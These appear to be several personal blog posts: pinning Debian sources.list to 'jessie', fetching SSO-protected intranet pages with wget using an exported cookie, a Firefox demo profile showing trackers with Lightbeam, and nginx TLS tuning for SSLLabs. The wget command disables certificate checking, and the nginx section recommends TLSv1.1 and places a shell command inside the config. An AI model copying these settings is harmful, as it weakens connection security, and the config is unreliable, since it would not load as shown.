Comme indiqué dans le message du forum, il faut donc conserver la mention "jessie" comme version dans le fichier sources.list et autres.

$ cat /etc/apt/sources.list
deb http://url_du_depot.fr jessie main
deb-src http://url_du_depot.fr jessie main
deb http://security.debian.org/ jessie/updates main
deb-src http://security.debian.org/ jessie/updates main

Autre façon de faire, avec la commande sed, pour remplacer "main" par "jessie".
Dans le fichier "install" de l'application non officielle (à utiliser en connaissance de cause)
no_stretch_ynh

# Backup old sources.list
sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak

sudo cp -R /etc/apt/sources.list.d /etc/apt/sources.list.d.bak

# Change sources.list with "stable" as distribution
sudo sed -i "s@ stable \+main@ jessie main@g" /etc/apt/sources.list
sudo sed -i "s@ stable-updates @ jessie-updates @g" /etc/apt/sources.list
sudo sed -i "s@ stable/updates @ jessie/updates @g" /etc/apt/sources.list

# Idem for sources.list.d/*.list
sudo sed -i "s@ stable \+main@ jessie main@g" /etc/apt/sources.list.d/*.list
sudo sed -i "s@ stable-updates @ jessie-updates @g" /etc/apt/sources.list.d/*.list
sudo sed -i "s@ stable/updates @ jessie/updates @g" /etc/apt/sources.list.d/*.list

Ou au contraire, comment migrer d'une version stable à une autre

Si on souhaite faire des montées de version stable en version stable pour suivre les évolutions de Debian (pour un serveur ou un poste bureautique sur lequel cela est possible), au contraire, on aura un fichier sources.list du type :

$ cat /etc/apt/sources.list
deb http://url_du_depot.fr stable main
deb-src http://url_du_depot.fr stable main
deb http://security.debian.org/ stable/updates main
deb-src http://security.debian.org/ stable/updates main

Et si c'est en version testing de Debian que l'on veut être (pourquoi pas), ce sera donc :

$ cat /etc/apt/sources.list
deb http://url_du_depot.fr testing main
deb-src http://url_du_depot.fr testing main
deb http://security.debian.org/ testing/updates main
deb-src http://security.debian.org/ testing/updates main

Wget derrière un SSO

SSO ???

Un ensemble de page derrière un SSO (abréviation en anglais Single Sign-On : SSO) ou authentification unique est une méthode permettant à un utilisateur d'accéder à plusieurs applications informatiques (ou sites web sécurisés) en ne procédant qu'à une seule authentification.. C'est le fameux système que l'on retrouve en entreprise où on se connecte une fois pour accéder aux différentes applications de l'Intranet. Pour des infrastructures variées et complexes, il y a lemonldap par exemple. Ou pour Yunohost, il y a SSOwat, un SSO pour nginx, écrit en Lua.

Ma problématique

Sur une des applications de l'Intranet de l'entreprise dans laquelle je travaille, j'ai eu à récupérer différentes pages via l'outil Wget. Soucis, wget ne permet pas de se connecter au SSO.

Au lancement de Wget, l'application ne me voyant pas connecté, je suis renvoyé vers le SSO et ma page récupérée par Wget, même si le lien est correct contient deux champs HTML "Identifiant et mot de passe", soit la mire de connexion.

A l'arrivée sur la page de l'application, il y a une vérification de la présence du cookie d'authentification et comme wget ne le fournit pas, on est renvoyé vers l'authentification.

La solution ?

On lance Firefox dans lequel on a ajouté l'extension Export Cookies. On se connecte sur le site (on a donc un cookie d'authentification qui est créé). On exporte ce cookie via le menu "Outils -> Export Cookies" et on sauvegarde le ficher cookies.txt.

Puis on relance la commande wget qui va bien, avec les options qui vont bien à savoir :

wget --load-cookies cookies.txt -p --no-check-certificate https://application.enterprise.com/page01.htmlt -O ./Applicaton_page01.html

--no-check-certificate pour éviter le soucis avec https
--load-cookies cookies.txt : charge le cookie d'authentification sur le SSO

Firefox, un profil démo pour montrer le tracking

Quelques rappels préalable :
- Le tracking publicitaire ou pistage est un terme qui comprend des méthodes aussi nombreuses et variées que les sites web, les annonceurs et d'autres utilisent pour connaître vos habitudes de navigation sur le Web. Cela comprend des informations sur les sites que vous visitez, les choses que vous aimez, n'aimez pas et achetez. Ils utilisent souvent ces données pour afficher des pubs, des produits ou services spécialement ciblés pour vous.
- Chaque bouton de partage sur les réseaux sociaux affichés (J'aime de Facebook etc.) informe alors le site associé que l'on a consulté tel ou tel site. Facebook et autres ont alors une copie de notre historique de consultation de sites Internets (et ce même en mode Navigation privé)
- Google fournit un service de statistique, Google Analytics, qui permet d'avoir un certain nombre d'informations. Le fait que cet outil d'analyse soit intégré sur différents sites web remontent à Google le fait que vous consultez ces sites...

But de ce tutoriel

Le but de ce tutoriel est de pouvoir montrer facilement et aisément ces affirmations concernant le tracking et la façon dont on est suivi à la trace sur Internet. Cela permet de faire des démonstrations lors d'une animation, d'un atelier, d'un Café vie privée ou autre...

Le principe des profils dans Firefox

Un profil Firefox est associé à un dossier et un ensemble de sous-dossiers qui contiennent tout l'environnement nécessaire au bon fonctionnement de Firefox. Il y aura les fichiers de caches, les favoris, les extensions... tout ce qui concerne l'utilisateur. Tous ces fichiers sont stockés dans le répertoire par défaut (sur C :/nomUtilisateur/Documents & Settings/Firefox ou /home/nomUtilisateur/.mozilla/ sous Gnu/Linux), on peut les déplacer à la création du profil dans un autre dossier, un conteneur TrueCrypt/Veracrypt (pour plus de sécurité par exemple)

Un utilisateur peut avoir plusieurs profils.

Création d'un profil Demo sous Firefox

Firefox permettant la création de profils, pour pouvoir faire des démonstrations du nombre de trackers et scripts en tout genre des différents sites webs et sensibiliser aux blocages de ces derniers, ainsi qu'aux publicités (le débat sur la rémunération des sites Internet et de l'affichage ou non des publicités est mis de côté. On aborde ici la seule problématique du profilage et de la vie privée sur Internet), on créera un profil Demo. Pour ce faire, on lance Firefox avec l'option -p et on crée un profil.

Voir mon tutoriel Création d'un profil sous Firefox pour le détail.

Préparation du profil démo

Une fois le profil Demo crée, on n'ajoute aucune extension, on surfe sur différents sites sur lesquels on l'habitude d'aller. Sur quelques minutes, heures ou quelques jours selon ce que l'on veut comme niveau de détail. On efface rien. On conserve l'historique, les cookies, les fichiers temporaires.

On installe Lightbeam

On installe Lightbeam dans le profil Démo. Lightbeam est une extension pour Firefox qui fait appel à des visualisations interactives pour vous montrer avec quels sites tiers vous communiquez sans le savoir. À mesure que vous naviguez, Lightbeam vous révèlera les coulisses du Web d'aujourd'hui, y compris les parties les moins visibles pour l'utilisateur moyen. Lightbeam - Un coup de projecteur sur ceux qui vous surveillent.

Et on observe... On voit alors que le surf effectué sans aucune extension montre que pour X sites consultés, ce sont des dizaines d'autres que l'on a pas consultés qui sont pourtant au courant de ces visites... Montrer le contenu de ce profil est Lightbeam en démonstration permet de bien sensibiliser à toutes ces problématiques de suivi à la trace sur le web.

Comment bloquer tout ça ?

Pour bloquer tout ça, on fera une présentation de l'installation des extensions :
- Ublock-origin
- Ghostery
- Privacy badger
- Request Policy
Idéalement, on peut refaire un profil Demo_Avec_blocage dans lequel on aura installé ces extensions et consulter les mêmes sites que le profil démo, on installera et lancera Lightbeam et on comparera alors le résultat.

Yunohost, Let’s Encrypt, A+ in SSLLabs – English version

French version / Version française : https://blog.genma.fr/?Yunohost-Let-s-Encrypt-A-au-SSLLabs

Prerequisites : You need to have some knowledge about Let's Encrypt, How SSL/TLS configuration works (basics).

I've followed How to : Install Let's Encrypt certificates and it works. Nothing to say, it helps to have a secured connexion. But in order to have the best TLS configuration, I've test my domain domain and subdomains on the https://www.ssllabs.com/ website. The Default Let's Encrypt configuration gives a B level as results. It's confirmed with the Calomel SSL addons on Firefox. So the Default TLS & Let's Encrypt configuration is not optmised.

Attention : more the grade is high, more the access to the website is restricted. Old browsers (on old computer O.S. or old Smartphone O.S. like Android 2.2, 4.0...) won't be able to connect to your websites.

Only using Firefox in it's latest version on each off my devices (PC or smartphone), it's not a problem for me to have the best grade.

So I've read many how to secure nginx. I've compared the nginx configuration files theses how-o preconize with the one Yunohost has by default. The default nginx file in Yunohost is secured (obsolete algorithm are disabled). But I've gone deeper with some modification.

Nginx Configuration file of my subdomain : /etc/nginx/conf.d/blog.mydomain.org.conf :

ssl_protocols TLSv1.1 TLSv1.2;
#ssl_ciphers ALL:!aNULL:!eNULL:!LOW:!EXP:!RC4:!3DES:+HIGH:+MEDIUM;
ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH';

To compare to he one Aeris (the hacktivist) recommands, for an extrem configuration :

TLSv1.2 + EECDH + AESGCM + SHA-2 only :P

What is missing in order to have a better level grade in SSLLabs test, it's Diffie Hellman. We need to generate a file for Diffie Hellman, it's done with :

sudo mkdir -p /etc/nginx/ssl &&
sudo openssl rand 48 -out /etc/nginx/ssl/ticket.key &&
sudo openssl dhparam -out /etc/nginx/ssl/dhparam4.pem 4096

It takes times, depending on processor performance and the capacity to generate random numbers.

After the file generation, in each nginx configuration file of each domain and subdomains, you have to to this :

nano /etc/nginx/conf.d/blog.mydomain.org.conf
# Uncomment the following directive after DH generation
openssl dhparam -out /etc/ssl/private/dh2048.pem -outform PEM -2 2048
# ssl_dhparam /etc/ssl/private/dh2048.pem;
ssl_dhparam /etc/nginx/ssl/dhparam4.pem;

After, you verify ngix configuration files are ok with the command :
nginx -t

You restart nginx with :
service nginx restart

You can now restest your domain on SSLLabs and your grade will be an A+ normally.

Aeris says to me on Twitter

Remove EDH completely. Avoid the (very long) (and weak) DH generation. No compatibility trouble AFAIK.